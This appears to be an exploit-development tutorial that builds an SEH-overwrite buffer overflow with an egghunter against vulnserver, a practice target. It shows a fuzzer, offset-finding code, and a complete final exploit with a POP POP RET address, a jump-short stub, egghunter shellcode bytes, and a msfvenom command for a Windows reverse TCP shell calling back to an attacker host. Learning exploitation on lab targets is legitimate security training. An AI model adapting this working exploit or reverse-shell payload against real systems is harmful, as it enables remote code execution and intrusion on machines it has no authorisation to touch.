I was really craving some SEH today, but someone mentioned EGG’s and I was like…what the hell, why not. So, going off vulnserver like we did last time, let’s build an exploit against SEH and make like the Easter Bunny and drop some eggs in there as well.
Like before, we need to fuzz the application to find out where we crash it. As I already knew that the GMON function was vulnerable I whipped up a quick fuzzer.
#!/usr/bin/python import sys,socket from struct import * buf =  count = 100 while len(buf) <= 100: buf.append("A" * count) count = count + 100 for string in buf: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.41',6666)) print '[+] Fuzzing GMON / with %s bytes' % (len(string)) s.recv(1024) s.send('GMON / ' + string) s.recv(1024) s.close()
After kicking it off, we can see that the application crashes at around 4000 bytes of A’s. You can also see that we overwrite the SEH pointer and handler. You can see this in the stack, usually the SEH chains are near the bottom of the stack so just scroll on down in immunity and you should see something similar to the image below.
Why is overwriting the SEH handler important? Well, read this excellent paper over at Exploit-db for some more information. All you need to know for this write-up is that it’s important, and it’s fun!
Finding the Offset!
Now that we know we can crash the application around 4000 bytes, let’s find the exact offset where we overwrite the EIP. As usual, we’ll use Metasploit pattern_create and pattern_offset for this task.
And then we’ll update our code with the new patter.
#!/usr/bin/python import sys,socket from struct import * buf = 'Place your generated string here' s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.41',6666)) print '[+] Fuzzing GMON / with %s bytes' % (len(buf)) s.recv(1024) s.send('GMON / ' + buf) s.recv(1024) s.close()
Go ahead and restart vulnserver with CTRL+F2 and then execute the new script. You’ll have to pass the exception with ALT+F9. After you do this, you’ll see we have overwritten EIP with a new value. Send that value into pattern_offset to find the correct offset.
Note the offset, yours may differ but mine was 3521. Now remember, we want to overwrite the SE Handler so I’m going to subtract 4 from the offset. If we didn’t, we would get something like this.
When we subtract 4 from the offset and verify it, we can now see we properly overwrite the SE Handler.
Finding our Return
Unlike the last buffer overflow, we aren’t going to look for a JMP ESP this time. Instead, we want to find a POP POP RET call. This will bring us back to the stack and execute our next SEH. Because we also control that record, we can change the pointer to something new. So our buffer looks something like this.
[String of NOPS] [Pointer to next SEH] [SE Handler] [Random Data]
So to find our return, we need to find some instruction calls that do pop pop ret. First, let’s look at our modules and make sure we can find one without SEH protections enabled.
Looks like we can once again use essfunc.dll. So lets go find what we need. In immunity, bring up the executable modules with ALT+E and double click the essfunc.dll module. In the assembly window hit CTRL+S and enter the sequence. Check the image below for reference.
As you can see, we have a perfect candidate. Let’s take note of this address.
Squeezing in the shellcode!
Now one problem we have is that after our buffer, we don’t have much room for our shellcode. It’s only something like 52 bytes before the end of the stack. We have a few options, but this is where I wanted to toss our EGG in.
So, after we POP POP RET and hit the next SEH, we can continue the flow of the application. What we want to do is JMP over our SE Handler into our ‘First Stage’ payload. This is where we’ll put the egghunter. So we’ll use JMP SHORT to jump over the SE Handler. \xEB\x06\x90\x90 or jmp short 0x8 nop nop.
Pro tip: you can verify this with the following.
# python -c 'print "\xEB\x06\x90\x90"' > jmp # ndisasm -b 32 jmp 00000000 EB06 jmp short 0x8 00000002 90 nop 00000003 90 nop
So now our buffer looks like this.
[NOP][PAYLOAD][JMP SHORT 0x8][POP POP RET][EGGHUNTER]
So what will we use for an egghunter? I went out to corelan and grabbed the NTAccessCheck shellcode. Please go see the article. Very helpful
So our new and improved code looks like this.
#!/usr/bin/python import sys,socket from struct import * offset = 3517 ret = pack('<L', 0x625010B4) # POP EBX, POP EBP, RET egg = "\x54\x30\x30\x57" # W00T # msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.37 LPORT=443 -e x86/shikata_ga_nai -v shellcode -f python -b "\x00" shellcode = "" buf = "\x90"*(offset - 4 - 4 - len(shellcode)) print len(buf) buf += egg buf += egg buf += shellcode print len(buf) buf += "\xEB\x06\x90\x90" # JMP SHORT 0x8, NOP NOP buf += ret buf += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" # Egghunter buf += "\x90"*4000 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.1.41',6666)) print '[+] Fuzzing GMON / with %s bytes' % (len(buf)) s.recv(1024) s.send('GMON / ' + buf) s.recv(1024) s.close()
And that should do it. Your spiffy new overflow is ready to go. Generate your payload, update the script, and fire it off.